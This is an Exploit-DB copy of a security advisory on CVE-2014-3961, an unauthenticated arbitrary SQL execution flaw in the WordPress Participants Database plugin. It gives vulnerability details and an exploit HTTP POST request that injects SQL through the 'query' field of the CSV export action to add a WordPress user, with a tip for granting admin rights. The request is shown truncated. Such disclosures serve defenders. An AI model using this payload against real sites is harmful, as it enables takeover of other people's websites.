WordPress Participants Database - SQL Injection

ID EDB-ID:33613
Type exploitdb
Reporter Yarubo Research Team
Modified 2014-06-02T00:00:00


Wordpress Participants Database - SQL Injection. CVE-2014-3961. Webapps exploit for php platform

                                            Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress

Program: Participants Database <=
Severity: Unauthenticated attacker can fully compromise the Wordpress
Permalink: http://www.yarubo.com/advisories/1

— Info —

Participants Database is a popular Wordpress plugin that offers the
functionality needed to build and maintain a database of people. As of
today the plugin has been downloaded 92,089 times.

— Vulnerability details —

1. Due to insufficient privilege checks it is possible for anonymous
(unauthenticated) users to trigger some administrative actions If any of
the shortcodes is used (e.g. signup page).

2. The action "export CSV" takes a parameter called "query" that can
contain an arbitrary SQL query. This means that an unauthenticated user can
execute arbitrary SQL statements (e.g. create an admin user, read or write
files, or execute code depending on the MySQL user privileges).

— Exploit —

Add a user to wordpress as follows (if you want an admin user, also add
admin privileges to wp_usermeta):

POST /wordpress/pdb-signup/ HTTP/1.1
Host: www.example.com
Content-Length: 789
Content-Type: multipart/form-data;

Content-Disposition: form-data; name="action"

output CSV
Content-Disposition: form-data; name="CSV_type"

participant list
Content-Disposition: form-data; name="subsource"

Content-Disposition: form-data; name="query"

INSERT INTO wp_users


— Solution —

This issue has been fixed in version Download the newest version


— Credit —

Yarubo Research Team
research [at] yarubo.com

Network Security Scan:

Free Heartbleed Scan: